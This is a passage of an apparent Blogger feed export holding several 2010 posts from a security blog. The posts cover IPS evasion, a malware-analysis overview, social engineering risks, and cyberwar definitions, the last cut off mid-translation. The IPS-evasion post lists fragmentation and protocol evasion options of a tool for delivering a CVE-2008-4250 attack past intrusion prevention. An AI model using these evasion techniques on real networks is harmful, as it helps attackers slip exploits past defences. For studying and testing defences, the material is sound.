should be discarded.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;MSRPC Alter Context&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The client may change the current context using the  Alter Context Method. All subsequent requests then go to the new context.&lt;br /&gt;Example: The client binds to non vulnerable context and then changes into a vulnerable context and sends the exploit.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;MSRPC Object Reference &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Adding an Object Reference (UUID) to an MSRPC Request Header enlarges the header by 16 bytes, and thus moves the MSRPC payload 16 bytes forward.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IPS Evasion Tool - Predator (IPForge)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Evasions for attack "CVE-2008-4250"&lt;br /&gt;&lt;br /&gt;-IP fragmentation, --ip_frag:&lt;br /&gt;8byte: Fragment IP payload into 8 byte fragments&lt;br /&gt;16byte: Fragment IP payload into 16 byte fragments&lt;br /&gt;24byte Fragment IP payload into 24 byte fragments&lt;br /&gt;256byte Fragment IP payload into 256 byte fragments&lt;br /&gt;random_order: Send fragments in a random order&lt;br /&gt;out_of_order: Send one fragment out of order&lt;br /&gt;fwd_overwrite Perform forward overwriting with fragments&lt;br /&gt;last_first Send last fragment first&lt;br /&gt;one_duplicate Send one duplicate fragment&lt;br /&gt;&lt;br /&gt;-IP evasion, --ip_evasion:&lt;br /&gt;random_options: Send random IP options&lt;br /&gt;&lt;br /&gt;-TCP fragmentation, --tcp_frag:&lt;br /&gt;1byte Fragment TCP payload into 1 byte segments&lt;br /&gt;&lt;br /&gt;-TCP evasion, --tcp_evasion:&lt;br /&gt;time_wait Open a decoy connection and attack from same ip:port while in time-wait&lt;br /&gt;urgent_ptr Insert meaningless data into 1 byte urgent segments&lt;br /&gt;&lt;br /&gt;-SMB fragmentation,  --smb_frag:&lt;br /&gt;16byte Fragment SMB payload into 16 byte fragments&lt;br /&gt;256byte Fragment SMB payload into 256 byte fragments&lt;br /&gt;&lt;br /&gt;-SMB evasion, --smb_evasion:&lt;br /&gt;andx_connect Negotiate SMB session and connect to a tree connect an AndX message&lt;br /&gt;decoy_trees Open decoy SMB tree connects in the same TCP stream as the attack&lt;br /&gt;read_offset Use random offsets in SMB read operations&lt;br /&gt;pad_write_random Pad SMB write commands with a random sized block of random data&lt;br /&gt;pad_write_static Pad SMB write commands with a static sized block of random data&lt;br /&gt;random_write_method Use a random SMB write method ( TRANSACT / WRITE )&lt;br /&gt;write_offset Use random offsets in SMB write operation&lt;br /&gt;&lt;br /&gt;-MSRPC fragmentation, --msrpc_&lt;br /&gt;frag: 16byte Fragment MSRPC payload into 16 byte fragments&lt;br /&gt;256byte Fragment MSRPC payload into 256 byte fragments&lt;br /&gt;&lt;br /&gt;-MSRPC evasion, --msrpc_evasion:&lt;br /&gt;big_endian Communicate in big endian format&lt;br /&gt;random_object: Add a random object reference to MSRPC requests&lt;br /&gt;alter_context: Bind to a random context and then alter to the correct ip&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4381536361559793173?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4381536361559793173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4381536361559793173'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/02/network-intrusion-advanced-ips-evasion.html' title='Network Intrusion: The Advanced IPS Evasion Techniques'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8088656786640263236</id><published>2010-02-19T06:33:00.005-04:30</published><updated>2010-02-19T06:41:21.207-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Malware Analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malware attack lifecycle'/><category scheme='http://www.blogger.com/atom/ns#' term='malware inspection techniques'/><category scheme='http://www.blogger.com/atom/ns#' term='malware lab'/><category scheme='http://www.blogger.com/atom/ns#' term='malware obfuscation techniques'/><category scheme='http://www.blogger.com/atom/ns#' term='social network malware'/><title type='text'>Analyzing Malware Using Advanced Inspection Procedures</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-style: italic;"&gt;Why you want to analyze the malware? What could be the possible reasons?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Better understanding of threats to protect network&lt;br /&gt;-To write software that detects malware (anti-virus vendor)&lt;br /&gt;-Admiration of new techniques&lt;br /&gt;-Financial Gain (malware writer)&lt;br /&gt;-Political agenda&lt;br /&gt;-Used to be for the challenge and pranks&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Characteristics of the good Malware Analyst&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Meticulous data collection&lt;br /&gt;-Thinks outside the box&lt;br /&gt;-Logical processes interaction&lt;br /&gt;-Tenacious&lt;br /&gt;-Good understanding of systems/network&lt;br /&gt;-Reverse engineering skills&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Attack Vectors&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Via portable devices&lt;br /&gt;-Downloads from FTP or BBS&lt;br /&gt;-Exploitation of remote services, worms&lt;br /&gt;-System is only as strong as its weakest link&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Human Factors&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-In the past, humans not involved in the attack cycle&lt;br /&gt;-Attackers searched for network or systems level vulnerabilities&lt;br /&gt;-Automatic exploitation and spread&lt;br /&gt;-In the present, exploit human (Spam email, compromise a legitimate site, advertising attacks)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Attacking through Social Networks&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-All social networks have their history (Flickr, Facebook, Twitter, Myspace, Orkut)&lt;br /&gt;-File sharing (Torrents, warez stuff, p2p)&lt;br /&gt;-Massive information sharing networks&lt;br /&gt;-Rich media content (web 2.0)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Attack Lifecycle&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Initial payload is small&lt;br /&gt;-Initial checks (Mutex, OS Version, Keyboard, location)&lt;br /&gt;-Payload is downloaded&lt;br /&gt;-Contacts command and control server for tasks&lt;br /&gt;-May fall back to secondary C&amp;amp;C&lt;br /&gt;-Dynamically generate rendezvous point&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Basic Obfuscation Techniques&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Polymorphism and Packers (UPX, Armadillo or custom packers)&lt;br /&gt;-Simple Debugger checks&lt;br /&gt;-Jumping into data/ middle of instructions&lt;br /&gt;-Encoding strings/values&lt;br /&gt;-Manipulating imports&lt;br /&gt;-Corrupting PE Header&lt;br /&gt;-Overlapping Section Header&lt;br /&gt;-Junk code&lt;br /&gt;-SEH (exception handler patches memory)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Advanced Obfuscation Techniques&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Metamorphic nature&lt;br /&gt;-Custom virtual machines (Polymorphic instruction sets)&lt;br /&gt;-Encryption&lt;br /&gt;-Instruction Timing (Model Specific Register (MSR), RDTSC instruction)&lt;br /&gt;-Debugging register tricks&lt;br /&gt;-Breakpoint detection&lt;br /&gt;-VMWare detection&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Malware Lab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Virtualization Platform (VMware, Xensource, Qemu)&lt;br /&gt;-Must not be on any network but its own&lt;br /&gt;-Dynamic Internet Connection&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Virtualization Techniques&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Serial Debugging&lt;br /&gt;-Copy on Write&lt;br /&gt;-Memory Image&lt;br /&gt;-Fast reversion of images&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Logging Activities&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Needed to store data from automatic and manual analysis.&lt;br /&gt;-Malware analysis is far more useful with a corpus to compare against.&lt;br /&gt;-The more data we have on characteristics, the more we are able to do a determination of whether it is malware.&lt;br /&gt;-Reverse engineering is expensive in terms of man-power to do.&lt;br /&gt;-Identify characteristics and understand malware to allocate reverse engineering where it is worthwhile to.&lt;br /&gt;-Store actual malware sample&lt;br /&gt;-Store network traces&lt;br /&gt;-Store static forensics information&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Obtaining Malware&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Be an anti-virus or anti-malware software vendor&lt;br /&gt;-Join an existing antimalware intelligence groups (Honeynet Project, Sandnet)&lt;br /&gt;-Build your own honeynet&lt;br /&gt;-Beg, borrow or steal&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Advanced Tools&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Debuggers (WinDBG, IDA, Ollydbg)&lt;br /&gt;-Tracers (regmon, filemon, detours, apimonitor, strace)&lt;br /&gt;-Unpackers (PEiD)&lt;br /&gt;For more information: &lt;a href="http://ethicalhackernet.blogspot.com/2009/11/practical-toolkit-for-reverse.html"&gt;Practical Toolkit for Reverse Engineering&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Conclusions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Simple tracing/monitoring can give lots of information&lt;br /&gt;-Static analysis of Malware can also yield many clues&lt;br /&gt;-Storing all bits of data and characteristics in a database can yield large dividends&lt;br /&gt;-Trend is toward decentralized botnets (p2p)&lt;br /&gt;-New coordination efforts in botnet takedowns&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8088656786640263236?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8088656786640263236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8088656786640263236'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/02/analyzing-malware-using-advanced.html' title='Analyzing Malware Using Advanced Inspection Procedures'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-9150640566353069597</id><published>2010-02-07T01:38:00.013-04:30</published><updated>2010-02-07T03:13:28.477-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='monitor social network'/><category scheme='http://www.blogger.com/atom/ns#' term='control social network'/><category scheme='http://www.blogger.com/atom/ns#' term='risk management'/><category scheme='http://www.blogger.com/atom/ns#' term='digial reputation'/><category scheme='http://www.blogger.com/atom/ns#' term='content filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='419 scam'/><category scheme='http://www.blogger.com/atom/ns#' term='corporate threat'/><category scheme='http://www.blogger.com/atom/ns#' term='aol phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='business intelligence'/><title type='text'>Social Engineering: A science behind major Corporate Attacks</title><content type='html'>&lt;div style="text-align: justify;"&gt;All social engineering techniques are usually based on specific attributes of human decision-making known as cognitive biases. These biases, sometimes called "bugs in the human hardware," which can be exploited in various combinations to create attack techniques. &lt;span style="font-style: italic;"&gt;Source: "Wikipedia".&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Social Engineering misdirection takes advantage of the limits of the human mind in order to give the wrong picture and memory. The mind can concentrate on only one thing at a time. The magician uses this to manipulate the "victim's" idea of how the world is supposed to be.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Common Risks From Social Engineering&lt;/span&gt;&lt;br /&gt;–Direct users to malware attack&lt;br /&gt;–Trick users into executing malware&lt;br /&gt;–Persuade users into handing the information (data leakage)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Past Recaps:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Nigeria 419 scams, since 1980s&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25qoG_30BI/AAAAAAAAALU/otpUsz2lnlY/s1600-h/03-Feb-07-10-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 259px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25qoG_30BI/AAAAAAAAALU/otpUsz2lnlY/s320/03-Feb-07-10-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5435399037588590610" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Phishing at AOL users&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;-AOL's chat rooms have been awash in password-stealing since at least 1994.&lt;br /&gt;-In one three-month period in 1996, AOL cancelled 370,000 accounts for "creditcard fraud, hacking, etc "Washington post".&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Other Email Scams Since 90s&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25rdFuH4SI/AAAAAAAAALc/9j8snEoSGpI/s1600-h/03-Feb-07-10-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 317px; height: 320px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25rdFuH4SI/AAAAAAAAALc/9j8snEoSGpI/s320/03-Feb-07-10-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5435399947778777378" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Changes In The Social Engineering Attacks&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25rvGI_G4I/AAAAAAAAALk/5CSvr1eE5Nc/s1600-h/03-Feb-07-10-pic3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 195px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25rvGI_G4I/AAAAAAAAALk/5CSvr1eE5Nc/s320/03-Feb-07-10-pic3.JPG" alt="" id="BLOGGER_PHOTO_ID_5435400257129094018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Internet Statistics (1990-2008)&lt;/span&gt;&lt;br /&gt;-Online presence1,463,632,361 –Internet users worldwide (June 2008).&lt;br /&gt;-1.3 billion–email users worldwide. 210 billion emails sent per day (2008).&lt;br /&gt;-Web Sites: 186,727,854–in December 2008. 31.5 million added during 2008.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Targeting Users for your Attack?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Using Popular Search Terms&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S25sA9-FsxI/AAAAAAAAALs/i0e8wvcTvzs/s1600-h/03-Feb-07-10-pic4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 238px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S25sA9-FsxI/AAAAAAAAALs/i0e8wvcTvzs/s320/03-Feb-07-10-pic4.JPG" alt="" id="BLOGGER_PHOTO_ID_5435400564173550354" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Using celebrities popularity&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25sNqi1LII/AAAAAAAAAL0/q-_HcTSEVSU/s1600-h/03-Feb-07-10-pic5.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 188px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25sNqi1LII/AAAAAAAAAL0/q-_HcTSEVSU/s320/03-Feb-07-10-pic5.JPG" alt="" id="BLOGGER_PHOTO_ID_5435400782297246850" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Cyber attackers use Terrorist tactics&lt;/span&gt;&lt;br /&gt;Terrorist cells are increasingly looking at less well-protected "soft" targets where Westerners can be found, such as social and retailvenues, tourist sites and transport networks (rail, road and airports), as illustrated by the attacks in Bali in October 2002,Madrid in March 2004 and Egypt in July 2005.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Business Strategies?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;77% of employees have a Facebook account.&lt;br /&gt;2/3rd access during working hours for average 15mins per day.&lt;br /&gt;87% couldn’t define a clear business reason.&lt;br /&gt;1 in 33 built and manage their entire profile at work.&lt;br /&gt;1.47% total lost productivity across entire employee population.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Common issues with social networking&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Who are you really communicating with?&lt;br /&gt;–Has their account been compromised?&lt;br /&gt;–Has the provider of the tool/service been compromised?&lt;br /&gt;–Has the content been tampered?&lt;br /&gt;–Does it have an abbreviated URL?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Stopping users getting to the compromised sites&lt;/span&gt;&lt;br /&gt;–Content filtering: Needs real time intelligence.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ensuring users don’t self infect&lt;/span&gt;&lt;br /&gt;–Anti-malware solution&lt;br /&gt;–Control what users can execute: User Access Control (Microsoft), Whitelistingtools (apple model - Digitally signed applications, 3rd party whitelisting tools) -Behavioural controls (IPS, FW, etc): Harden OS, Control what can be installed, used, interacted with other resources.&lt;br /&gt;-Data leakage: Education, Data Loss Prevention controls (DRM).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Digital Reputation - Risk Management&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S25sYmhSbCI/AAAAAAAAAL8/yBJr4T4QJ3k/s1600-h/03-Feb-07-10-pic6.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S25sYmhSbCI/AAAAAAAAAL8/yBJr4T4QJ3k/s320/03-Feb-07-10-pic6.JPG" alt="" id="BLOGGER_PHOTO_ID_5435400970195594274" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Monitoring and controlling Social Networking Usage&lt;/span&gt;&lt;br /&gt;-56% of employers admit to monitoring employees to see if accessing on-line social networking sites, amongst others things.&lt;br /&gt;-38% block employees from accessing such websites.&lt;br /&gt;-1/3rd of employers have adopted policies limiting or prohibiting use of such sites during work time.&lt;br /&gt;-6% have terminated employees for utilizing online social networking sites during work.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-9150640566353069597?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9150640566353069597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9150640566353069597'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/02/social-engineering-science-behind-major.html' title='Social Engineering: A science behind major Corporate Attacks'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/S25qoG_30BI/AAAAAAAAALU/otpUsz2lnlY/s72-c/03-Feb-07-10-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8201344948046523915</id><published>2010-01-27T16:48:00.010-04:30</published><updated>2010-01-27T19:55:48.846-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='law in cyberspace'/><category scheme='http://www.blogger.com/atom/ns#' term='CyberWar'/><category scheme='http://www.blogger.com/atom/ns#' term='Cyber Espionage'/><category scheme='http://www.blogger.com/atom/ns#' term='CyberCrime'/><category scheme='http://www.blogger.com/atom/ns#' term='multi-layered threats'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intelligence monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='blended threats'/><category scheme='http://www.blogger.com/atom/ns#' term='military spy'/><category scheme='http://www.blogger.com/atom/ns#' term='CyberTerror'/><category scheme='http://www.blogger.com/atom/ns#' term='pirate bay case'/><title type='text'>CyberWar, CyberTerror and CyberCrime</title><content type='html'>&lt;div style="text-align: justify;"&gt;During the past few years, these terms have refined and brought enormous attention in the media. However, the actual definitions remain same but keep blending with the growing threats.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;As mentioned in Wikipedia&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberWar&lt;/span&gt; - Also known as "Cyber Warfare", is the use of computers and the Internet in conducting warfare in cyberspace.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberTerror&lt;/span&gt; - Cyberterrorism is a controversial term. The premeditated use of disruptive activities, or the threat thereof, against computers and/or networks, with the intention to cause harm or further social, ideological, religious, political or similar objectives Or to intimidate any person in furtherance of such objectives.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberCrime&lt;/span&gt; - Computer crime encompass a broad range of potentially illegal activities. This involves, crimes that target computer networks or devices directly or crimes facilitated by computer networks or devices, the primary target of which is independent of the computer network or device.&lt;br /&gt;&lt;br /&gt;Now, I am going to point some of the key facts and their associated conflicts in dimension with cyber warfare.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S2CvfnnE-BI/AAAAAAAAALE/PEJI4MF8wFE/s1600-h/02-Jan-28-10-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 222px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S2CvfnnE-BI/AAAAAAAAALE/PEJI4MF8wFE/s320/02-Jan-28-10-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5431534108352509970" border="0" /&gt;&lt;/a&gt;-Distributed attacks, high anonymity.&lt;br /&gt;-Possibility to use the same enemy’s infrastructures.&lt;br /&gt;-Low cost of technology implementation and R&amp;amp;D.&lt;br /&gt;-Wide range of critical infrastructures to be attacked.&lt;br /&gt;-Possibility to carry out unconventional activities.&lt;br /&gt;-Direct contact with the enemy’s command and control center at the highest ranks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Evaluation#1:&lt;/span&gt;&lt;br /&gt;In the traditional wars, to fight a country it requires a huge amount of resources (weapons, ammunition, etc). While, in asymmetric Internet based conflicts, to fight a country it can take just a few or just one motivated skilled hacker.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cyber Politics (Historical track-record)&lt;/span&gt;&lt;br /&gt;2001 Pakistan vs West&lt;br /&gt;2002 USA vs China&lt;br /&gt;2004 South America vs USA&lt;br /&gt;2007 Arab countries vs Denmark&lt;br /&gt;2007 Russia vs Estonia&lt;br /&gt;2008 Russia vs Georgia&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cyber Industrial and Private Espionage&lt;/span&gt;&lt;br /&gt;2001 Pakistan vs India&lt;br /&gt;2005 China vs EU (political)&lt;br /&gt;2005 China vs Italy (industrial)&lt;br /&gt;2006 Russia vs USA (militar)&lt;br /&gt;2008 China vs rest of the world&lt;br /&gt;2009 China vs USA (preemptive war?)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S2Cv7okxaNI/AAAAAAAAALM/k7GZ080zobw/s1600-h/02-Jan-28-10-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S2Cv7okxaNI/AAAAAAAAALM/k7GZ080zobw/s320/02-Jan-28-10-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5431534589647612114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Evaluation#2:&lt;/span&gt;&lt;br /&gt;-The tactical systems were downloading nothing most of the time and when they were downloading they downloaded irrealistic data.&lt;br /&gt;-The system was so slow in distributing the intelligence that we knew about the enemy presence only when it was in front of us and shooting.&lt;br /&gt;-Too much of intelligence = No intelligence!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lessons Never Learned&lt;/span&gt;&lt;br /&gt;-Germany (Parliament law against security/hacking tools).&lt;br /&gt;-France (Sarkozy doctrine).&lt;br /&gt;-Italy (Pisanu decree).&lt;br /&gt;-Sweden (The Pirate Bay case).&lt;br /&gt;-All other countries (Blindness towards multi-layered threats and blindness towards excessive data retention).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lessons Learned&lt;/span&gt;&lt;br /&gt;-Use proprietary software and hardware when possible. And when it is not possible, use at least well reviewed open sourced software.&lt;br /&gt;-Excessive data retention causes more troubles than benefits. There is a hidden danger from the social point of view as once adopted and enforced a data retentive policy, it will take a revolution to take it down (remember the London airport case?).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_d-rQacFdOFI/S2DYc7tsw5I/AAAAAAAAAD0/VWQoncnw5NQ/s1600-h/spa.jpg"&gt;&lt;img style="cursor: pointer; width: 180px; height: 59px;" src="http://2.bp.blogspot.com/_d-rQacFdOFI/S2DYc7tsw5I/AAAAAAAAAD0/VWQoncnw5NQ/s320/spa.jpg" alt="" id="BLOGGER_PHOTO_ID_5431579142186124178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Durante los últimos años, estos términos han estado referidos y llamando la atención de los medios. Sin embargo, las definiciones actuales siguen siendo iguales, y se mantienen  con las crecientes amenazas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Según Wikipedia:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberWar (Ciber-Guerra)&lt;/span&gt;: También conocido como "Cyber Warfare", es el uso de las computadoras y el internet para realizar la guerra en el ciberespacio.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberTerror – Cyberterrorism:&lt;/span&gt; el ciberterrorismo o terrorismo electrónico es el uso de medios de tecnologías de información, comunicación, informática, electrónica o similar con el propósito de generar terror o miedo generalizado en una población, clase dirigente o gobierno, causando con ello una violencia a la libre voluntad de las personas. Los fines pueden ser económicos, políticos o religiosos principalmente.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CyberCrime (CiberCrimen): &lt;/span&gt;El delito informático abarca una amplia gama de actividades potencialmente ilegales. Esto implica, los crímenes en el que las redes de computadoras,  dispositivos de las mismas  son el objetivo o crímenes facilitados por las redes o sus dispositivos, el objetivo principal de que es independiente de la red del ordenador o dispositivo.&lt;br /&gt;&lt;br /&gt;Ahora, 